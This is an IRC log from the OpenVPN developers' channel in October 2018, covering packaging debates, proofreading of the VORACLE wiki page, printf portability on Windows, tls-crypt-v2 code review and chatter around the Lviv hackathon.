pulled in the rust compiler version x and a library that needed compiler version y > x... so that library couldn't be compiled with a confusing error message...) 09:49 <@dazo> There's been lots of discussions on Fedora devel list "how to package {Go,Rust} apps properly" 09:49 <@cron2> golang in a controlled environment with proper ci, where you know that whatever you build only depends on stuff that passed CI tests before being pushed, then I think the golang model is really great :-) 09:50 <@cron2> for me as an "oh, could you please install this program on your nameserver?" admin (unbound-exporter for prometheus) it wasn't so great 09:50 <@dazo> this approach is very developer friendly ... but I'm not sure sysadmins are equally happy about it ... unless they get sane, precompiled packages to install 09:51 <@cron2> sysadmins like to live in a world where you do not have to recompile every single binary just because a security problem in one of the libraries was found... :-) 09:51 <@dazo> exactly 09:52 <@cron2> (let alone finding out which of the static binaries *used* that library in its magic build process) 09:52 <@cron2> yeah :) 09:52 <@cron2> but yeah, C runtimes is nearly as annoying as finding a working shell script subset across "unix" platforms 09:52 <@dazo> :) 09:53 <@cron2> I'm tempted to call up xkcd... "there are so many broken language environments, let's create a better one!"... "now there are n+1 broken language environments" 09:53 <@dazo> ;-) 09:53 <@cron2> (like, perl having way too many modules that do similar things, and are in different stages of no-more-maintenance...) 09:54 <@cron2> https://metacpan.org/pod/JSON::Any 09:54 <@vpnHelper> Title: JSON::Any - (DEPRECATED) Wrapper Class for the various JSON classes - metacpan.org (at metacpan.org) 09:54 <@cron2> "This module tries to provide a coherent API to bring together the various JSON modules currently on CPAN. This module will allow you to code to any JSON API and have it work regardless of which JSON module is actually installed" 09:54 <@dazo> and it's deprecated :-P 09:55 <@cron2> yeah, that was news to me, but it makes sense :) 09:55 <@cron2> so... tax paperwork... or openvpn stuff... what do I do now... 09:55 <@dazo> deprecated modules stuff should have a grace period of 2 years ... with the last year being annoying "You are using a deprecated module" ... and then eventually just be removed from CPAN 09:56 <@dazo> equally horrendous? 09:56 <@cron2> tax paperwork needs to be handed in tomorrow morning 09:56 <@cron2> openvpn is more fun... but it means "I need to do the other stuff later tonight" 09:57 <@cron2> *sigh* 09:57 <@cron2> so tax paperwork it is, then "help the kids clean up their room", then dinner, and then a bit of openvpn 09:59 < tincantech> dazo: thanks :) 10:04 -!- lev__ [~lev__@openvpn/corp/lev] has quit [Ping timeout: 252 seconds] 11:14 -!- lev__ [~lev__@openvpn/corp/lev] has joined #openvpn-devel 11:15 -!- mode/#openvpn-devel [+v lev__] by ChanServ 12:12 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:12 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:24 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 15:56 < tincantech> is it time to remove "DRAFT" from this yet ? https://community.openvpn.net/openvpn/wiki/VORACLE 15:56 <@vpnHelper> Title: VORACLE – OpenVPN Community (at community.openvpn.net) 16:00 < gcoxmoz> nitpick: s/--comp.lzo adaptive/--comp-lzo adaptive/ in the first section. 16:01 < gcoxmoz> s/Neiter/Neither/ under 'Commercial products: Private Tunnel' 16:06 < tincantech> i am in the middle of editing it ;) 16:07 < tincantech> thanks for reading tho 16:08 < tincantech> gcoxmoz: fixed it :) 16:08 < gcoxmoz> thankee 16:08 < tincantech> np 16:10 < tincantech> i am going to remove DRAFT and consider my review to be sufficient for approval ;) 16:11 < tincantech> gcoxmoz: sorry .. i mean 'Our' review ;) 16:12 < gcoxmoz> heh 16:44 < gcoxmoz> tincantech: More nitpicks. 'bares similarities' should be 'bears similarities', sentence 1. Under "Mitigation", '_compression frame_' looks like a missing bold attempt maybe? Community Edition, "client side configuration' compression" looks like an 's' got dropped. Access Server, "be achieve via" -> achieved 16:44 < gcoxmoz> (no rush/pressure) 16:46 < tincantech> gcoxmoz: thanks for proof reading .. i'll do it now while i can be arsed ;) 16:47 < tincantech> if you spot anything else please let me know 16:47 < gcoxmoz> will do, thanks. 16:48 < tincantech> This is something I find "quite interesting .. 16:49 < tincantech> I believe the spoken word "bare/bear" has the most different meanings in English of any single word 16:51 <@ecrist> no, shit does 16:52 <@plaisthos> gcoxmoz: thank you both for correcting my nonsense :) 16:52 <@ecrist> https://www.youtube.com/watch?v=igh9iO5BxBo 16:54 < gcoxmoz> ecrist: http://thisisindexed.com/2018/08/its-also-a-surprisingly-effective-swear-word/ 16:54 < tincantech> ecrist: bollocks .. shit don't count ! ;) 16:57 < tincantech> the reason "shit" don't count is because, taken to absurdity, "Ug" can mean fucking anything depending on what mood you are in .. 17:00 <@ecrist> https://ih1.redbubble.net/image.13361955.2845/raf,750x1000,075,t,fafafa:ca443f4786.u5.jpg 17:04 < tincantech> lol 18:38 < tincantech> plaisthos: your "nonsense" is an average essay in my neck of the woods ! 18:38 < tincantech> ;) 19:05 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 252 seconds] 19:06 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 19:06 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 23:15 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 252 seconds] 23:15 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 23:15 -!- mode/#openvpn-devel [+o syzzer] by ChanServ --- Day changed Thu Oct 04 2018 01:25 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:25 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:21 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 04:58 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:58 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 06:30 <@cron2> so, boarding pass printed :) 08:31 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 09:32 <@ordex> cool! 09:47 <@syzzer> lev__, cron2: hm, we probably should yes. Though I really don't know if there are still platforms out there that don't always nul-terminate in their (v)snprintf implementations 09:48 <@syzzer> cron2: free wifi is working just fine at the airport btw 09:48 <@syzzer> well, no ipv6 ofc :p 09:49 <@syzzer> but no funny registrations and fine reception. just view the ad for 10 seconds and get about 30 mins of free wifi. 10:24 <@cron2> syzzer: that is useful :) 10:45 <@cron2> Google maps really likes to confuse Shevchenka Avenue 5 with Shevchenka Street 5 10:56 <@cron2> now that is interesting. All Uber cars in Munich are busy with Oktoberfest, it seems... Uber tells me "to the airport costs about twice the normal rate, and there are NO cars available, ktxby" 11:08 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:08 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 11:40 < kitsune1> the dark side of Uber.. 11:46 < kitsune1> I was in Prague recently and used their AAA taxi app -- no Uber like registrtaion or prepayment. Just an app to call a normal taxi and watch it on screen as it is dispatched. At the usual metered taxi rates. Pretty cool. Before anyone points out taxi scams in Prague -- I have seen "Prague vs Crooks" videos. 11:59 < kitsune1> syzzer: its unclear whether swprintf nul terminates if an error (say a unicode conversion error) occurs. May be it does, but who knows on Windows.. 12:18 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 12:39 <@vpnHelper> RSS Update - tickets: #1120: Insufficient permissions to change routes <https://community.openvpn.net/openvpn/ticket/1120> 13:59 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:59 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 14:23 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 17:22 -!- krzie [b3345a7d@openvpn/community/support/krzee] has joined #openvpn-devel 17:22 -!- mode/#openvpn-devel [+v krzie] by ChanServ 20:17 < vectr0n> who would i contact about adding ubuntu 18.04 builds to the build.openvpn.net apt repo? it's been out for awhile now, i have mentioned it in #openvpn a few times and just recently was advised to try here, thanks in advance --- Day changed Fri Oct 05 2018 00:05 <@ordex> probably contacting mattock is a good starting point. but it seems he is not here right now - he should appear at some point 01:28 <@cron2> so 01:28 <@cron2> arrived at gate, boarding shoukd start in 5min 01:29 <@cron2> ordex: where are you arriving from? 01:29 <@cron2> ok, boarding... cu :) 01:59 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:59 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:02 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 03:22 <@syzzer> kitsune1: swprintf if dangerous, but looking at the ms docs, s*n*wprintf seems to be just as dangerous 03:22 <@syzzer> they finally fixed snprintf in Windows 10 though: https://msdn.microsoft.com/en-us/library/2ts7cx93.aspx 03:22 <@vpnHelper> Title: snprintf, _snprintf, _snprintf_l, _snwprintf, _snwprintf_l (at msdn.microsoft.com) 03:23 <@syzzer> but we still need openvpn_snprintf for older windows versions 03:27 <@syzzer> vectr0n: mattock is your guy (though he seems to not be around right now) 03:27 <@syzzer> oh, ordex already told you that :') 03:43 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:43 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:43 <@syzzer> ah, there he is :) 03:43 <@syzzer> mattock1: vectr0n was asking for 18.04 packages on build openvpn.net 04:00 <@mattock1> syzzer: that is something for the hackathon 04:00 <@mattock1> fairly trivial to do 04:00 <@mattock1> also good news: it seems I will come with the T-shirts! 04:00 <@mattock1> the package arrive to Helsinki and I will pick them up on my way to the airport 04:00 <@mattock1> arrived 04:01 <@mattock1> the ridiculously high postage fees at work :) 04:41 * cron2 is here \o/ 04:49 <@ordex> <o 05:03 * cron2 needs to trigger ordex on that one 05:03 <@cron2> #if 0 /* was: #if ENABLE_INLINE_FILES -- Note that enabling this code will bre 05:03 <@cron2> ak restarts */ 05:03 <@ordex> bzzbzzz 05:05 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 05:15 <@vpnHelper> RSS Update - gitrepo: Refactor NCP-negotiable options handling <https://github.com/OpenVPN/openvpn/commit/5fa25eeb7fefdbb17ad639d72fe46f393989159f> 05:29 <@cron2> syzzer: the "pass the hash" ACK is for master? ISTR that the cryptoapi enhancements are master only 05:30 <@syzzer> cron2: it's more of a bugfix, because for some tokens, the current code doesn't work 05:31 <@syzzer> but I'm not sure the requirement patches are in 2.4 05:31 <@cron2> but is hte code it's bugfixing in 2.4ß 05:31 <@cron2> ? 05:31 <@cron2> ah 05:56 <@vpnHelper> RSS Update - gitrepo: Pass the hash without the DigestInfo header to NCryptSignHash() <https://github.com/OpenVPN/openvpn/commit/6b495dc4c5cfc118091ddc9c19330b3c9e3e3dff> 06:33 < tincantech> Have a great day at the hackathon :D 06:37 <@cron2> chocolate is getting low already 06:37 <@cron2> we need to visit the local chocolate factory soon 07:10 <@cron2> syzzer: https://www.asus.com/Laptops/ASUS-ZenBook-13-UX331UAL/ 07:10 <@vpnHelper> Title: ASUS ZenBook 13 UX331UAL | Laptops | ASUS Global (at www.asus.com) 07:55 <@vpnHelper> RSS Update - gitrepo: travis: add OpenSSL 1.1 Windows build <https://github.com/OpenVPN/openvpn/commit/a29b60c9577a7ea1302cd761645234a174a7e3cb> || Move get system directory to a separate function <https://github.com/OpenVPN/openvpn/commit/4eb465537ce06e07ee63c2fc93c7b192dd4e29de> || Add OpenSSL compat definition for RSA_meth_set_sign <https://github.com/OpenVPN/openvpn/commit/720c880a8ca73e0f9e9b03e3c9d6031c026bccac> 08:31 <@vpnHelper> RSS Update - gitrepo: Enable dhcp on tap adapter using interactive service <https://github.com/OpenVPN/openvpn/commit/b4fc8bbd6b1d0211dd6982c4accedfbe4ae7e3ed> 09:31 < kitsune1> syzzer: there is no snwprintf in the "standards" -- its called swprintf -- the "committee" had learned enough from sprintf, so by the time wide chars varieties were standardized swprintf was defined to take the buffer size an arg and behave line snprintf. But MS screwed up and and now Windows has two versions of swprintf one that follows the C99 standard and one doesn't -- both named swprintf and c 09:31 < kitsune1> hosen using a macro... 09:32 < kitsune1> But I think its best to be cautious and explicitly nul terminate. 09:32 < kitsune1> I mean for all variants of [v]sprintf's 09:33 < kitsune1> strncpy variants are another story --- none guarantee nul termination unlike what we may think. 09:34 * cron2 knows and strncpy() actually documents that 09:35 <@vpnHelper> RSS Update - gitrepo: Refactor sending commands to interactive service <https://github.com/OpenVPN/openvpn/commit/717c19300e27db8127553800cf8e0d81bd5bd5a8> 09:36 <@syzzer> kitsune1: aha! well okay, I give up and will use openvpn_swprintf for the coming decade. We'll re-evaluate after that :p 09:38 <@dazo> C is the master of consistent inconsistency when comparing the various implementations on all the various platforms .... minor differences which suddenly explodes 09:38 <@ordex> :D 09:38 <@cron2> we really need to get rid of --disable-crypto 09:38 <@cron2> openvpn --version 09:38 <@cron2> library versions: , LZO 2.10 09:38 <@ordex> ? 09:38 <@ordex> on 2.4 ? 09:38 <@cron2> yes 09:39 <@ordex> yeah..I guess there are many other small inconsistencies hidden...but they have been there since a while :P and I suggest to just let them stay hidden 09:39 * cron2 has not seen anything 09:40 <@ordex> https://www.torbenrick.eu/blog/wp-content/uploads/2011/02/Battling-with-organizational-change-resistance.jpg 09:47 <@vpnHelper> RSS Update - gitrepo: Skip error about ioctl(SIOCGIFCONF) failed on Android <https://github.com/OpenVPN/openvpn/commit/5e80600a45c22dd96eb1dcce6a4af7a6c361396b> 13:02 -!- krzie [b3345a7d@openvpn/community/support/krzee] has quit [Ping timeout: 256 seconds] 14:53 <@cron2> *burp* 15:02 < tincantech> cron2: careful or you may find something inscribed upon your forehead ;) 15:14 < tincantech> https://dpaste.de/QYne 15:42 * cron2 quickly locks his door 17:32 <@ordex> *burp* 17:35 < vectr0n> i guess what mattock1 said means it's going to happen, or what? o0 17:36 * tincantech burps loudly 17:37 < tincantech> vectr0n: please excuse my moment of madness 17:37 < vectr0n> idk? 17:37 < tincantech> there is the OpenVPN hackathon taking plce right now 17:38 < tincantech> so things could get ugli 17:39 < vectr0n> mattock1 wasn't very clear on the topic, that's all.. it really shouldn't take much work to add 18.04 to build.openvpn.net but it appears to be like pulling teeth to get anyone to notice or care even lol 17:40 < tincantech> vectr0n: it is a study in time and motion .. to much motion and not enough time 17:41 < vectr0n> clearly you don't have anything useful to say *moves on for now* 17:41 < tincantech> the core debs are at the openvpn hackathon .. 17:42 < tincantech> you can tune in by selecting the right time 17:42 < tincantech> devs* 17:43 < tincantech> sorry .. i'm just getting you on the right page 17:43 < vectr0n> k capt obv 17:45 < tincantech> ok .. we are guud 18:00 < tincantech> https://community.openvpn.net/openvpn/wiki/LvivHackathon2018# 18:00 <@vpnHelper> Title: LvivHackathon2018 – OpenVPN Community (at community.openvpn.net) --- Day changed Sat Oct 06 2018 00:30 <@cron2> mornin 00:31 <@cron2> vectr0n: what tincantech said - 8:30 local time now, some 10 hours of OpenVPN hacking lie before us, then: beer! 03:13 <@ordex> mornin 03:14 <@cron2> hooray! 03:14 <@ordex> !! 03:17 * cron2 just had a brilliant moment on "why is OpenSolaris failing?" 03:17 <@cron2> let's test this... 03:20 <@dazo> vectr0n: we'll discuss 18.04 with mattock today or tomorrow ... we've briefly discussed it and we don't think that'll be a hard task at all 03:22 <@ordex> cron2: syzzer: dazo: should we discuss 2.5 ? 03:22 <@dazo> those guys probably want to have their 15 min of fame on TV first :-P 03:52 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:52 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:15 <@cron2> *grumble*. It was not ordex who broke OpenSolaris... 04:15 <@ordex> yehaa 04:15 <@ordex> :p 04:31 <@dazo> http://termbin.com/yyq4 04:31 <@dazo> kernel commits, crediting cron2! 04:37 <@dazo> https://community.openvpn.net/openvpn/wiki/StatusOfOpenvpn25 04:37 <@vpnHelper> Title: StatusOfOpenvpn25 – OpenVPN Community (at community.openvpn.net) 04:48 <@cron2> dazo: yes, this one :-) 05:17 <@dazo> plaisthos: 05:17 <@dazo> (c-add-style "openvpn" 05:17 <@dazo> '("bsd", 05:17 <@dazo> (c-tab-always-indent . nil) 05:17 <@dazo> (indent-tabs-mode . nil) 05:17 <@dazo> (c-basic-offset . 4))) 05:17 <@vpnHelper> RSS Update - gitrepo: init.c: refine functions names and description <https://github.com/OpenVPN/openvpn/commit/39326238dca7c28368928f728c5a3c80031255e5> 05:34 <@syzzer> cron2: can I maybe interest you in applying https://patchwork.openvpn.net/patch/75/ ? 05:34 <@vpnHelper> Title: [Openvpn-devel,v6] merge *-inline.h files with their main header - Patchwork (at patchwork.openvpn.net) 07:49 <@vpnHelper> RSS Update - gitrepo: Factor out convert_tls_list_to_openssl method <https://github.com/OpenVPN/openvpn/commit/3b9d4d2a9aa89f9c21870a97bcdb42bb007e3ac0> 08:13 <@vpnHelper> RSS Update - tickets: #1121: tls-crypt-v2: client-specific tls-crypt keys <https://community.openvpn.net/openvpn/ticket/1121> 08:37 < tincantech> so --tls-ciphersuites remains as a plural ? 09:07 <@cron2> has it seen an ack yet? 09:12 <@syzzer> I need to review that, but I tend to say it should stay plural 09:12 <@syzzer> since openssl uses the plural form too 09:13 <@cron2> Test sets succeded: 1 1a 1b 1c 1d 2 2a 2b 2c 2d 2e 3 4 4a 4b 5 6 8 9. 09:13 <@cron2> Test sets failed: none. 09:14 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 09:59 <@vpnHelper> RSS Update - tickets: #1122: migrate from NSIS to MSI installer <https://community.openvpn.net/openvpn/ticket/1122> || #1123: introduce new networking API and add netlink support <https://community.openvpn.net/openvpn/ticket/1123> 10:09 < tincantech> syzzer: thanks for confirming that :) 10:29 <@vpnHelper> RSS Update - gitrepo: merge *-inline.h files with their main header <https://github.com/OpenVPN/openvpn/commit/a54f37d8b702378e3aa39e97b40c4dcca6ab402d> || pf: restyle pf_c2c/addr_test() to make them 'struct context' agnostic <https://github.com/OpenVPN/openvpn/commit/9646caeae3b3879e1d422405e42b7fbd05cb30a9> 10:41 <@vpnHelper> RSS Update - tickets: #1124: support listening on multiple IPs/ports at the same time <https://community.openvpn.net/openvpn/ticket/1124> 10:47 <@vpnHelper> RSS Update - tickets: #556: bind to multiple IPv4 and IPv6 addresses <https://community.openvpn.net/openvpn/ticket/556> 11:14 < tincantech> I have built and am using 2.5_git with all new patches on Win10 and it is working great 11:19 <@cron2> cool, thanks for testing 11:29 < tincantech> there's one last patch i didn't get the inline.h one I'll do it now 11:42 < tincantech> all done and working :) 11:42 < tincantech> hope y'all having fun ;) 15:53 <@vpnHelper> RSS Update - gitrepo: ensure function declarations are compiled with their definitions <https://github.com/OpenVPN/openvpn/commit/632af53a515aa1570028f9f82e4b11ab7171f3a3> 15:53 <@ordex> yeehaa 15:53 <@cron2> yep 15:54 <@cron2> I had it in tree for a few hours already but forgot to make check & push it 15:54 <@ordex> :) 15:57 <@cron2> and now, to bed... 15:57 <@cron2> good night 16:06 <@ordex> night ! --- Day changed Sun Oct 07 2018 00:23 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:23 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 00:27 <@mattock2> fyi: I had pretty high fever last night so I'll stay at the hotel today 00:28 <@mattock2> the fever will almost certainly come back anyways when the effect of ibuprofein wears out 00:29 <@mattock2> that said, I'll head to breakfast soon 00:44 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 00:44 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:44 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 00:49 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 268 seconds] 01:27 <@cron2> mornin 01:33 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:33 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 01:49 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 01:54 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:54 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 01:56 <@ordex> mattock2: take care 02:11 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 02:12 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:12 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 02:40 <@cron2> syzzer: https://patchwork.openvpn.net/patch/254/ - what is the final decision on this one? 02:40 <@vpnHelper> Title: [Openvpn-devel] Add a warning that we do not officially support LibreSSL - Patchwork (at patchwork.openvpn.net) 02:49 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 02:50 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:50 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 03:03 <@vpnHelper> RSS Update - gitrepo: Change quoted to angled form when #including external .h files <https://github.com/OpenVPN/openvpn/commit/3b7c7858dddc0ddd492acb9d1316e2dd42a807bf> 03:09 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 03:10 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:10 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 03:15 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 260 seconds] 03:37 <@ordex> syzzer: https://paste.pound-python.org/show/yLYqKg76cKTDeoEt2lTX/ it's just about style in 0d54e9d8 03:39 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:39 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 03:41 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 03:41 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:41 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 03:46 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 03:48 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:48 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 03:49 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 03:49 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 03:57 <@vpnHelper> RSS Update - gitrepo: Signed/unsigned warnings of MSVC resolved <https://github.com/OpenVPN/openvpn/commit/f755c992915b25acd114ef98e61dd9eae7ff57fe> 04:31 <@dazo> syzzer: you're aware of this one? 04:31 <@dazo> platform.c: In function ‘platform_create_temp_file’: 04:31 <@dazo> platform.c:355:31: warning: implicit declaration of function ‘get_random’ [-Wimplicit-function-declaration] 04:31 <@dazo> prefix, (unsigned long) get_random(), 04:31 <@dazo> ^ 04:32 <@dazo> I can fix it, if you don't have anything in the pipe 04:33 <@dazo> similar with this one ... 04:33 <@dazo> console_systemd.c: In function ‘get_console_input_systemd’: 04:33 <@dazo> console_systemd.c:75:5: warning: implicit declaration of function ‘openvpn_popen’ [-Wimplicit-function-declaration] 04:33 <@dazo> if ((std_out = openvpn_popen(&argv, NULL)) < 0) 05:00 <@cron2> get_random() might have been my/ordex' doing, moving prototypes around, so platform.c is missing "some" include file now 05:07 <@ordex> syzzer: in tls_crypt_v2_unwrap_client_key() shouldn't you call secure_memxero() on plaintext too ? 05:07 <@syzzer> dazo: ah, didn't spot that one yet. I wonder why... Anyway, feel free to send a fix :) 05:08 <@syzzer> ordex: sounds like I should... 05:08 <@cron2> shouldn't that be called xecure_memxero() 05:09 <@dazo> alright, I'll send some patches later today 05:09 <@dazo> make it simple, guys .... xxxxx_xxxxxx() 05:11 <@cron2> that's the xecret xecure_memxxxx() function for Johan 05:13 <@syzzer> ordex: (for archiving) that is already handled by buf_clear() 05:13 <@ordex> :D 05:20 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 06:12 <@ordex> syzzer: few small things for a7478cb1 https://paste.pound-python.org/show/3P7F2kCVzFwvdHm2zyET/ 06:22 <@ordex> syzzer: 776d754c https://paste.pound-python.org/show/1ZAXrRM8NwWzimug3UCL/ 06:22 <@ordex> syzzer: this is all about style...the code looks all good so far. at the end I will perform some functional tests too 06:36 <@ordex> syzzer: about --tls-crypt-v2-allow-insecure-fallback: I believe we don't need that. we have the same issue with tls-auth/crypt and we have lived with that so far. we already offer a transition from tls-crypt to tls-crypt-v2 and that's already great. Offering a chance to open a hole in the server sounds like something that can easily be mis-used 06:41 <@ordex> syzzer: a1f93e41 https://paste.pound-python.org/show/3SXHRC9GtcvLCycyTtvj/ 06:42 <@ordex> syzzer: I think it would be better to change the Changes.rst file within the patch actually adding the --tls-crypt-v2 option, no? now you're doing it when adding --tls-crypt-v2-verify 06:55 <@ordex> syzzer: in the manpage for the verify option you don't mention what's format of the metadata. I guess it is plain base64 ? Isn't it worth mentioning? in theory the file could even be binary 06:57 <@ordex> syzzer: why in your last patch you decided to move tls_wrap_free() to ssl.h and make it inline ? 07:01 <@ordex> oh, the commit says that. and this is something we discussed in the past 07:11 <@ordex> syzzer: in one of my diff I suggested to remove error_prefix because I Saw no usage - I was obviously wrong as it is used by some macros 07:16 <@vpnHelper> RSS Update - gitrepo: Fix use-after-free in tls_ctx_use_management_external_key <https://github.com/OpenVPN/openvpn/commit/68e0b9db253ff0437047d6a5377eeec6002873f8> 07:28 <@syzzer> ordex: wow, you've been busy 07:28 <@vpnHelper> RSS Update - gitrepo: openvpnserv: clarify return values type <https://github.com/OpenVPN/openvpn/commit/ab9193c32b19e42a1847bd4f6cf967ea0e3293c8> 07:28 <@ordex> syzzer: :D trying to get this done! 07:28 <@syzzer> I just managed to look at your first comments 07:28 <@syzzer> how about doing the base64 computation like this: 07:28 <@syzzer> https://gist.github.com/syzzer/72d7dd897dc75dc880c93dc4a4e7636c 07:28 <@vpnHelper> Title: gist:72d7dd897dc75dc880c93dc4a4e7636c · GitHub (at gist.github.com) 07:30 <@syzzer> (I actually think the computation in the original patch was wrong too, but 'accidentally' correct for the specific metadata length we have now) 07:31 * ordex is decrypting the macro 07:31 <@syzzer> the comment should help you with that :p 07:31 <@cron2> syzzerman survived first contact with Uber \o/ 07:33 <@ordex> yehaa!:D and you did not even have any internet connection while onboard! 07:33 <@ordex> syzzer: the computation looks good to me 07:33 <@cron2> I should have known that on Friday... :) 07:34 <@ordex> syzzer: btw binary_length is not really "binary", right? maybe call it just length? or you think "binary" helps somehow? 07:40 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 07:40 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 07:40 <@vpnHelper> RSS Update - gitrepo: Simplify --genkey option syntax <https://github.com/OpenVPN/openvpn/commit/d818bfedfc7a433a3a5dbd6ce8e9b957802a21b2> 08:12 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 268 seconds] 08:13 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:13 -!- mode/#openvpn-devel [+v mattock_] by ChanServ 08:18 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 08:20 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 08:20 -!- mode/#openvpn-devel [+v mattock_] by ChanServ 09:19 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 10:00 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 10:01 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:01 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:01 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 10:06 <@cron2> ordex: https://sourceforge.net/p/openvpn/mailman/message/33244190/ 10:07 <@vpnHelper> Title: OpenVPN / [Openvpn-devel] [PATCH v2 0/9] Refactor client-connect / add support for deferred handling (at sourceforge.net) 10:43 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:44 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 10:55 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 10:55 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:55 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 11:04 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 252 seconds] 11:04 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:04 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 11:18 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Quit: IRC for Sailfish 0.9] 13:01 -!- krzie [b3345a7d@openvpn/community/support/krzee] has joined #openvpn-devel 13:01 -!- mode/#openvpn-devel [+v krzie] by ChanServ 13:01 <+krzie> the only reason i like --disable-crypto is to compare cpu usage with and without when users max their cpu 13:01 <+krzie> highly doubt thats a good enough reason to keep it, just mentioning it =] 13:04 <@syzzer> krzie: you can still do --cipher none 13:05 <@syzzer> just not ./configure --disable-crypto 13:05 <+krzie> ohhh well then i totally agree 13:05 <+krzie> also, hello! ltns =] 13:06 <@syzzer> hi 13:06 <@syzzer> indeed :) 13:07 <@syzzer> ordex: what should I apply the *_inline patch to? 13:07 <@syzzer> should I send a rebased 'reformat crypto' patch/ 13:07 <@syzzer> (it does not apply to current master) 13:52 <@cron2> syzzer: ordex looks very puzzled 13:53 <@cron2> and welcome back :) 13:54 < vectr0n> dazo: thanks for the update yesterday 14:57 <@ordex> syzzer: it's based on top of 68e0b9db (should be the current upstream master) 14:57 <@ordex> no? 14:57 <@ordex> 